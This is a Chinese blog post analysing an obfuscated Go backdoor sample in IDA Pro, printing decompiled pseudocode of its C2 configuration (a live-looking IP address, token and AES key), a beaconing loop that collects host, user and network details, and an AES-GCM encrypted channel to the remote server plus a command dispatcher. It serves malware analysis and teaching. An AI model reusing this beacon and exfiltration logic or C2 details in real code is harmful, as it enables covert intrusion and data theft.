某gobfuscate 混淆样本 静态分析

发布时间 2023-08-27 22:52:57作者: DirWangK

某gobfuscate 混淆样本 静态分析

gobfuscate 主要对字符信息进行混淆,并不能起到有效的对抗效果;
可结合函数签名、runtime type infomation进行分析。

IDA pro准备工作

新版本对go分析效果大有改进,充值变强

Lumina server

Lumen · Naim A. (abda.nl)

针对go这种静态编译程序,签名识别就显得很有帮助,这里借助第三方搭建的服务lumen

image-20230827211348035

go_parser

go_parser

ida 插件,分析rtype

下面分析都需借助此插件分析

image-20230827211642665

go x64函数调用方式

采用寄存器传参,参数从左到右:
rax,rbx,rcx,rdi,rsi,r8,r9,r10 ……
多返回值rax,rbx,rcx……

__usercall 多返回值参考:

https://hex-rays.com/blog/igors-tip-of-the-week-107-multiple-return-values/

结构体

常用数据结构:

struct string
{
  char *ptr;
  __int64 len;
};

struct slice
{
  char *data;
  __int64 len;
  __int64 cap;
};

struct __iface
{
  char *itab;
  char *ptr;
};

样本分析

字符信息

查找字符build ,可得到一些编译、库依赖信息,

image-20230827211929109

image-20230827211951869

入口点

通过runtime_main找到主函数main_main_rm51rvy9r

同时runtime_doInit也是关注对象(此文没有涉及)

void runtime_main()
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  if ( (unsigned __int64)&retaddr <= *(_QWORD *)(v0 + 16) )
    sub_4608A0();

  v10 = 0i64;
  v6 = 0;
  v8 = v0;
  *(_QWORD *)(**(_QWORD **)(v0 + 48) + 320i64) = 0i64;
  qword_92AB28 = 1000000000i64;
  qword_92AB20 = 2000000000i64;
  byte_9DC0C4 = 1;
  runtime_systemstack_abi0(runtime_main_func1_ptr);
  v1 = *(_QWORD *)NtCurrentTeb()->NtTib.ArbitraryUserPointer;
  ++*(_DWORD *)(*(_QWORD *)(v1 + 48) + 572i64);
  *(_QWORD *)(*(_QWORD *)(v1 + 48) + 304i64) = v1;
  *(_QWORD *)(v1 + 232) = *(_QWORD *)(v1 + 48);
  if ( *(_QWORD **)(v8 + 48) != qword_9875E0 )
    goto LABEL_28;

  sub_4648A0();
  v2 = *(_QWORD *)NtCurrentTeb()->NtTib.ArbitraryUserPointer;
  qword_9DC300 = v4;
  if ( !v4 )
  {
LABEL_27:
    runtime_throw();

LABEL_28:
    runtime_throw();
    runtime_deferreturn();
    return;
  }

  if ( dword_9DC7E8 )
  {
    qword_9DC5A8 = *(_QWORD *)(v2 + 152);
    byte_9DC5A0 = 1;
  }

  runtime_doInit();
  v5 = 1;
  v9[0] = runtime_main_func2;
  v9[1] = &v5;
  v10 = (void (**)(void))v9;
  v6 = 1;
  runtime_gcenable();
  v3 = runtime_makechan();
  if ( runtime_writeBarrier_enabled )
    runtime_gcWriteBarrier();
  else
    qword_984B88 = v3;

  if ( !byte_9DC0C2 )
    goto LABEL_13;

  if ( !*(__int64 *)((char *)&qword_982D4C + 4) )
  {
LABEL_26:
    runtime_throw();
    goto LABEL_27;
  }

  if ( !*(__int64 *)((char *)&qword_982D44 + 4) )
  {
    runtime_throw();
    goto LABEL_26;
  }

  runtime_startTemplateThread();
  runtime_cgocall();

LABEL_13:
  runtime_doInit();
  byte_9DC5A0 = 0;
  runtime_closechan();
  v5 = 0;
  runtime_unlockOSThread();
  if ( !byte_9DC0C1 && !byte_9DC0C3 )
  {
    rm51rvy9r_ptr();                            // main_main
    if ( !dword_9DC134 || !dword_9DC134 )
    {
      if ( dword_9DC12C )
        runtime_gopark();

      runtime_exit();
      while ( 1 )
        MEMORY[0] = 0;
    }

    v7 = 0i64;
    runtime_mcall();
  }

  v6 = 0;
  (*v10)();
}

主函数main_main_rm51rvy9r

void main_main_rm51rvy9r()
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  if ( (unsigned __int64)&retaddr <= *(_QWORD *)(v0 + 16) )
    sub_4608A0();

  if ( main_sHost.len && main_serverPort.len )
  {
    metaConfig = (MetaConfig *)runtime_newobject(&Config_sz70_struct_8);
    ptr = main_sHost.ptr;
    v2 = (char *)runtime_concatstring3();       // 39.98.177.61:80
    v3 = metaConfig;
    metaConfig->Remote.len = (__int64)ptr;
    if ( runtime_writeBarrier_enabled )
      runtime_gcWriteBarrier();
    else
      metaConfig->Remote.ptr = v2;

    v4 = main_cToken.ptr;                       // qhNmAboFlfWBWPY3
    metaConfig->Token.len = qword_979018;
    if ( runtime_writeBarrier_enabled )
      v3 = (MetaConfig *)gcWriteBarrier_462BE0();
    else
      metaConfig->Token.ptr = v4;

    v5 = main_cKey.ptr;                         // jC8Df6jDxY7f1IkH
    v3->Key.len = qword_978FF8;
    if ( runtime_writeBarrier_enabled )
      v3 = (MetaConfig *)gcWriteBarrier_462BE0();
    else
      v3->Key.ptr = v5;

    v6 = main_osName.ptr;                       // windows
    v3->OsName.len = qword_979028;
    if ( runtime_writeBarrier_enabled )
      v3 = (MetaConfig *)gcWriteBarrier_462BE0();
    else
      v3->OsName.ptr = v6;

    v7 = main_cProtocol.ptr;                    // tcp
    v3->Protocol.len = qword_979008;
    if ( runtime_writeBarrier_enabled )
      v3 = (MetaConfig *)gcWriteBarrier_462BE0();
    else
      v3->Protocol.ptr = v7;

    v8 = main.remark.ptr;                       // wps-中煤
    v3->Remark.len = qword_979038;
    if ( runtime_writeBarrier_enabled )
      v3 = (MetaConfig *)gcWriteBarrier_462BE0();
    else
      v3->Remark.ptr = v8;

    v9 = main_waitTime.ptr;                     // 5
    v3->WaitTime.len = main_waitTime.len;
    if ( runtime_writeBarrier_enabled )
      gcWriteBarrier_462BE0();
    else
      v3->WaitTime.ptr = v9;

    v10 = (T *)runtime_newobject(&T_sz80_struct_7);
    v10->id.ptr = 0i64;
    if ( runtime_writeBarrier_enabled )
      v10 = (T *)gcWriteBarrier_462BE0();
    else
      v10->config = metaConfig;

    doloop_6A63E0(v10);
    os_Exit();
  }
}

首先分析runtime_newobject函数参数,通过go_parser 结果分析参数Config_sz70_struct_8

再结合go build信息,可得到样本的相关配置信息

.rdata:000000000070E720                             ; golang_type Config_sz70_struct_8
.rdata:000000000070E720 70 00 00 00 00 00 00 00     Config_sz70_struct_8 dq 70h             ; DATA XREF: main_main_rm51rvy9r:loc_6ADBF6↑o
.rdata:000000000070E720                                                                     ; .rdata:00000000006C2A50↑o
.rdata:000000000070E720                                                                     ; type size
.rdata:000000000070E728 68 00 00 00 00 00 00 00                     dq 68h                  ; type ptrdata
.rdata:000000000070E730 50 EF 68 C0                                 dd 0C068EF50h           ; type hash
.rdata:000000000070E734 07                                          db    7                 ; tflag: Star Prefix; Named; Uncommon
.rdata:000000000070E735 08                                          db    8                 ; align
.rdata:000000000070E736 08                                          db    8                 ; field align
.rdata:000000000070E737 19                                          db  19h                 ; kind: Struct
.rdata:000000000070E738 98 F3 6A 00 00 00 00 00                     dq offset off_6AF398    ; equal func
.rdata:000000000070E740 29 4B 7B 00 00 00 00 00                     dq offset unk_7B4B29    ; gcdata
.rdata:000000000070E748 00 90 00 00                                 dd 9000h                ; name(@ 0x6b7000 ): MMMMMMMMMMMMMM
.rdata:000000000070E74C 20 4A 01 00                                 dd 14A20h               ; ptrtothis addr: 0x6c2a20
.rdata:000000000070E750 00 00 00 00 00 00 00 00                     dq 0                    ; pkg path
.rdata:000000000070E758 80 E7 70 00 00 00 00 00                     dq offset MetaConfig_struct_fields_6 ; fields start address
.rdata:000000000070E760 07 00                                       db 7,0                  ; fields count: 0x7
.rdata:000000000070E762 00 00 00 00 00 00                           align 8
.rdata:000000000070E768 07 00                                       db 7,0                  ; fileds capacity: 0x7
.rdata:000000000070E76A 00 00 00 00 00 00                           align 10h
.rdata:000000000070E770 38 19 00 00                                 dd 1938h                ; pkg path(@ 0x6af938): client
.rdata:000000000070E774 00 00                                       dw 0                    ; methods number: 0
.rdata:000000000070E776 00 00                                       dw 0                    ; exported methods number: 0
.rdata:000000000070E778 B8 00 00 00                                 dd 0B8h                 ; methods offset
.rdata:000000000070E77C 00 00 00 00                                 dd 0                    ; unused field: 0
.rdata:000000000070E780 50 FC 6A 00 00 00 00 00     MetaConfig_struct_fields_6 dq offset unk_6AFC50
.rdata:000000000070E780                                                                     ; DATA XREF: .rdata:000000000070E758↑o
.rdata:000000000070E780                                                                     ; field name: Remote
.rdata:000000000070E788 E0 D4 6C 00 00 00 00 00                     dq offset string_0      ; field rtype: string
.rdata:000000000070E790 00 00 00 00 00 00 00 00                     dq 0
.rdata:000000000070E798 4D EE 6A 00 00 00 00 00                     dq offset unk_6AEE4D    ; field name: Token
.rdata:000000000070E7A0 E0 D4 6C 00 00 00 00 00                     dq offset string_0      ; field rtype: string
.rdata:000000000070E7A8 20 00                                       db ' ',0
.rdata:000000000070E7AA 00 00 00 00 00 00                           align 10h
.rdata:000000000070E7B0 BF E2 6A 00 00 00 00 00                     dq offset unk_6AE2BF    ; field name: Key
.rdata:000000000070E7B8 E0 D4 6C 00 00 00 00 00                     dq offset string_0      ; field rtype: string
.rdata:000000000070E7C0 40 00                                       db '@',0
.rdata:000000000070E7C2 00 00 00 00 00 00                           align 8
.rdata:000000000070E7C8 D8 FB 6A 00 00 00 00 00                     dq offset unk_6AFBD8    ; field name: OsName
.rdata:000000000070E7D0 E0 D4 6C 00 00 00 00 00                     dq offset string_0      ; field rtype: string
.rdata:000000000070E7D8 60 00                                       db '`',0
.rdata:000000000070E7DA 00 00 00 00 00 00                           align 20h
.rdata:000000000070E7E0 6A 12 6B 00 00 00 00 00                     dq offset unk_6B126A    ; field name: MMMMMMMM
.rdata:000000000070E7E8 E0 D4 6C 00 00 00 00 00                     dq offset string_0      ; field rtype: string
.rdata:000000000070E7F0 80 00 00 00 00 00 00 00                     dq 80h
.rdata:000000000070E7F8 48 FC 6A 00 00 00 00 00                     dq offset unk_6AFC48    ; field name: Remark
.rdata:000000000070E800 E0 D4 6C 00 00 00 00 00                     dq offset string_0      ; field rtype: string
.rdata:000000000070E808 A0 00 00 00 00 00 00 00                     dq 0A0h
.rdata:000000000070E810 1A 22 6B 00 00 00 00 00                     dq offset unk_6B221A    ; field name: MMMMMMMMM
.rdata:000000000070E818 E0 D4 6C 00 00 00 00 00                     dq offset string_0      ; field rtype: string
.rdata:000000000070E820 C0 00 00 00 00 00 00 00                     dq 0C0h

doloop_6A63E0

void *__usercall doloop_6A63E0@<rax>(T *t@<rax>)
{
  __int64 v1; // r14
  MetaConfig *config; // rcx
  __int64 len; // rbx
  void *result; // rax
  T *v5; // rcx
  T *v6; // rax
  char *idhexstr; // rax
  T *v8; // rcx
  void *v9; // [rsp+0h] [rbp-10h]
  void *retaddr; // [rsp+10h] [rbp+0h] BYREF

  if ( (unsigned __int64)&retaddr <= *(_QWORD *)(v1 + 16) )
    sub_4608A0();

  config = t->config;
  len = config->WaitTime.len;
  result = (void *)strconv_Atoi((int)config->WaitTime.ptr, len);
  v5 = t;
  t->isOnline = 1;
  if ( len )
    result = (void *)5;

  while ( v5->isOnline )
  {
    time_Sleep(1000000000 * (_DWORD)result);
    v6 = t;
    if ( !t->id.len )
    {
      idhexstr = (char *)crypto_rand_hexstr_64BA80(10);// genId_hexstr_len10d
      v8 = t;
      t->id.len = len;
      if ( runtime_writeBarrier_enabled )
        runtime_gcWriteBarrier();
      else
        t->id.ptr = idhexstr;

      v6 = v8;
    }

    transfer_6A68A0(v6);
    result = v9;
    v5 = t;
  }

  return result;
}

transfer_6A68A0

__int64 __usercall transfer_6A68A0@<rax>(T *a1@<rax>)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  if ( (unsigned __int64)&v39 <= *(_QWORD *)(v2 + 16) )
    sub_4608A0();

  ModuleFileName_4C7780 = (char *)getModuleFileName_4C7780();
  get_netip_64B860();
  v4 = (char *)((__int64 (*)(void))loc_463254)();
  len = a1->id.len;
  info.ID.ptr = a1->id.ptr;
  info.ID.len = len;
  info.LanIP.ptr = v4;
  info.LanIP.len = v1;
  config = a1->config;
  ptr = config->OsName.ptr;
  v8 = config->OsName.len;
  info.OSName.ptr = ptr;
  info.OSName.len = v8;
  v9 = a1->config;
  v10 = v9->Protocol.ptr;
  v11 = v9->Protocol.len;
  info.Protocol.ptr = v10;
  info.Protocol.len = v11;
  v12 = a1->config;
  v13 = v12->Remote.ptr;
  v14 = v12->Remote.len;
  info.RemoteIp.ptr = v13;
  info.RemoteIp.len = v14;
  v15 = a1->config;
  v16 = v15->Remark.ptr;
  v17 = v15->Remark.len;
  info.Remark.ptr = v16;
  info.Remark.len = v17;
  info.CWD.ptr = ModuleFileName_4C7780;
  info.CWD.len = v1;
  info.HostName = (string)sub_4CA8C0();
  if ( !info.OSName.len )
  {
    info.OSName.ptr = "windows";
    info.OSName.len = 7i64;
  }

  // type User struct {
  //     Uid      string // 用户ID
  //     Gid      string // 初级组ID
  //     Username string
  //     Name     string
  //     HomeDir  string
  // }
  v18 = User_current_67F880();
  if ( !v18.err )
  {
    v19 = v18.ret1->Username.len;
    info.UserName.ptr = v18.ret1->Username.ptr;
    info.UserName.len = v19;
  }

  ((void (*)(void))loc_463594)();
  v20 = runtime_convT(&Info_A0_struct_1, v43);
  // {
  // "id":"90199b3458",
  // "host_name":"xxxxxx-xxxxxxxxx",
  // "os_name":"windows",
  // "user_name":"xxxxxx-xxxxxxxxx\\test",
  // "lan_ip":"192.168.179.129",
  // "protocol":"tcp",
  // "parent":"",
  // "remark":"wps-中煤",
  // "cwd":"C:\\Users\\test\\Desktop\\moify.exe",
  // "remote_ip":"127.0.0.1:80"
  // }
  v21 = (void *)encoding_json_Marshal((__int64)&Info_A0_struct_1, v20);
  v39 = v3;
  v40 = (void *)v3;
  v41 = (void *)n_0x64_92A9D8;
  v22 = a1->config;
  v23 = v22->Token.ptr;
  v24 = v22->Token.len;
  *((_QWORD *)&v39 + 1) = v23;
  v40 = (void *)v24;
  v25 = (void *)v20;
  metadata_json_sz = (__int64)v21;
  metadata_json_str = runtime_slicebytetostring(0i64, v21, v25);
  *(_QWORD *)&v39 = metadata_json_sz;
  v27 = v40;
  v28 = v41;
  Dial_tcp_679540(
    metadata_json_str,
    metadata_json_sz,
    *((__int64 *)&v39 + 1),
    (__int64)v40,
    (__int64)v41,
    (__int64)a1->config->Remote.ptr,
    a1->config->Remote.len,
    (__int64)a1->config->Key.ptr,
    a1->config->Key.len);
  if ( v30 )
    return 1i64;

  if ( qword_92A9E8 != v29 )
    return 0i64;

  v31 = (void *)runtime_convI2I(&MMMMMMMMMMMMMMMMMMM_interface_0, v27);
  // func Client(conn io.ReadWriteCloser, config *Config) (*Session, error)
  v32 = (void *)yamux__Client(v31, v28, 0i64);
  if ( !v28 )
  {
    for ( i = v32; ; v32 = i )
    {
      v35 = selectgo_681560(v32);
      v34 = (_QWORD *)runtime_newobject(&type_fetvmngei1z1kia1iavt);
      *v34 = recv_6A6C80;
      v34[1] = &go_itab__MMMMMMMMMMMMM_MMMMMMMMM_interface;
      if ( runtime_writeBarrier_enabled )
      {
        gcWriteBarrier_462C00();
        gcWriteBarrier_462C00();
      }
      else
      {
        v34[2] = v35;
        v34[3] = a1;
      }

      runtime_newproc();
    }
  }

  return 2i64;
}

Dial_tcp_679540,发送元数据

通信管道封装,AES-256-GCM加密

{

data

token

type

}

加密后数据包格式

LEN (4bytes,后面数据大小) | NONCE(12bytes) | DATA[LEN -12]

// local variable allocation has failed, the output may be wrong!
__int64 __usercall Dial_tcp_679540@<rax>(
        __int64 metadata_json_str@<rax>,
        __int64 metadata_json_sz@<rbx>,
        __int64 token@<rcx>,
        __int64 token_sz@<rdi>,
        __int64 n_0x64@<rsi>,
        __int64 Remote_address@<r8>,
        __int64 Remote_address_sz@<r9>,
        __int64 Key@<r10>,
        __int64 Key_sz@<r11>)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  if ( (unsigned __int64)v34 <= *(_QWORD *)(v9 + 16) )
    sub_4608A0();

  *(_QWORD *)&v36 = metadata_json_sz;
  *((_QWORD *)&v36 + 1) = token;
  v32 = (DataStatus *)runtime_newobject(&DataStatus_struct_1);
  conn_1 = (void *)Dial_55C040("tcp", 3, Remote_address);
  if ( v11 )
    return (__int64)v32->Data.ptr;

  conn_11 = conn_1;
  v27 = 3i64;
  key = (void *)runtime_stringtoslicebyte(v26, (void *)Key, (void *)Key_sz);
  aesgcm = (char *)AES_256_GCM_6777A0(key);
  if ( Key )
    return (__int64)v32->Data.ptr;

  aesgcm1 = aesgcm;
  v14 = (EncChannel_18 *)runtime_newobject(&EncChannel_18_struct_50);
  aesgcm_channel = v14;
  *(_QWORD *)&v14->n = 0i64;
  v14->Cipher.itab = (char *)&go_itab__aex_gcm_Cipher_itab_interface;
  if ( runtime_writeBarrier_enabled )
    gcWriteBarrier_462BE0();
  else
    v14->Cipher.ptr = aesgcm1;

  conn = (void *)runtime_convI2I(&MMMMMMMMMMMMMM_interface_5, conn_11);
  v16 = v27;
  markret = mrak_677DC0(conn, v27, aesgcm_channel);
  if ( v16 )
    return (__int64)v32->Data.ptr;

  markret1 = markret;
  v33 = metadata_json_str;
  v34[0] = v36;
  v34[1] = *(_OWORD *)&token_sz;
  v18 = runtime_convT(&JsonData2_struct_6, &v33);
  // {
  // "data":"{\"id\":\"90199b3458\",\"host_name\":\"xxxxxx-xxxxxxxxx\",\"os_name\":\"windows\",\"user_name\":\"xxxxxx-xxxxxxxxx\\\\test\",\"lan_ip\":\"192.168.179.129\",\"protocol\":\"tcp\",\"parent\":\"\",\"remark\":\"wps-中煤\",\"cwd\":\"C:\\\\Users\\\\test\\\\Desktop\\\\moify.exe\",\"remote_ip\":\"127.0.0.1:80\"}",
  // "token":"qhNmAboFlfWBWPY3",
  // "type":100
  // }
  send_jsondata = (JsonData2 *)encoding_json_Marshal((__int64)&JsonData2_struct_6, v18);
  v20 = v18;
  write_send_6793C0(&go_itab__MMMMMMMMMMMMMMMMMMMMMMM_MMMMMMMMM_interface, markret1, send_jsondata, v18, v21);//通道写数据
  v22 = markret1;
  recv_679100 = (void *)read_recv_679100(&go_itab__MMMMMMMMMMMMMMMMMMMMMMM_MMMMMMMMM_interface, markret1);//通道读数据
  if ( !v20 )
    encoding_json_Unmarshal(recv_679100, v22, v24, "\b", v32);

  return (__int64)v32->Data.ptr;
}

recv_6A6C80

看到样本时c2就已经没了

void *__usercall recv_6A6C80@<rax>()
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  if ( (unsigned __int64)&v15 + 8 <= *(_QWORD *)(v2 + 16) )
    runtime_morestack();

  v11 = *(__int64 **)(v0 + 16);
  v4 = *(_QWORD *)(v0 + 8);
  v5 = (__int64 *)runtime_convI2I(&MMMMMMMMMM_interface_1, (void *)v4);
  if ( v5 == &go_itab__MMMMMMMMMMMMM_MMMMMMMMMM_interface )
    v6 = v11;
  else
    v6 = 0i64;

  v13 = (__int64)v5;
  if ( v5 != &go_itab__MMMMMMMMMMMMM_MMMMMMMMMM_interface || v6[1] < 4096 )
  {
    v21 = v3;
    sub_463270();
    v4 = 4096i64;
    runtime_makeslice((__int64)&uint8, 4096, 4096);
    *((_QWORD *)&v15 + 1) = *((_QWORD *)&v3 + 1);
    sub_463270();
    *((_QWORD *)&v15 + 1) = 4096i64;
    v16 = 4096i64;
    v17 = v13;
    v18 = v11;
    v19 = -1i64;
    v20 = -1i64;
    *(_QWORD *)&v21 = v7;
    v1 = (char *)&v15 + 8;
    sub_4635DA();
    v6 = (__int64 *)&v21;
  }

  result = (void *)bufio__Reader_ReadLine(v6);
  if ( !v1 )
  {
    v10 = v9;
    v12 = result;
    v14 = (_QWORD *)runtime_newobject(&MMMMMMMMMMMMMMMMMMMMMM_struct_0);
    v14[2] = 0i64;
    result = encoding_json_Unmarshal(v12, (void *)v4, v10, "\b", v14);
    if ( !result )
      return (void *)parseCmd_6A64C0();
  }

  return result;
}

parseCmd_6A64C0

命令执行、文件读写、注入、隧道等功能,(没有仔细看啦0.0)

image-20230827220417299

总结

1、函数定义,确定参数、返回值,(进入函数看先保存了那些寄存器,rax,rbx,rcx……)

2、runtime_newobject,分析数据结构(借助go_parser确定类型的大小、成员)

3、孰能生巧(写代码、静态分析、动态调试)

样本链接

样本报告-微步在线云沙箱 (threatbook.com)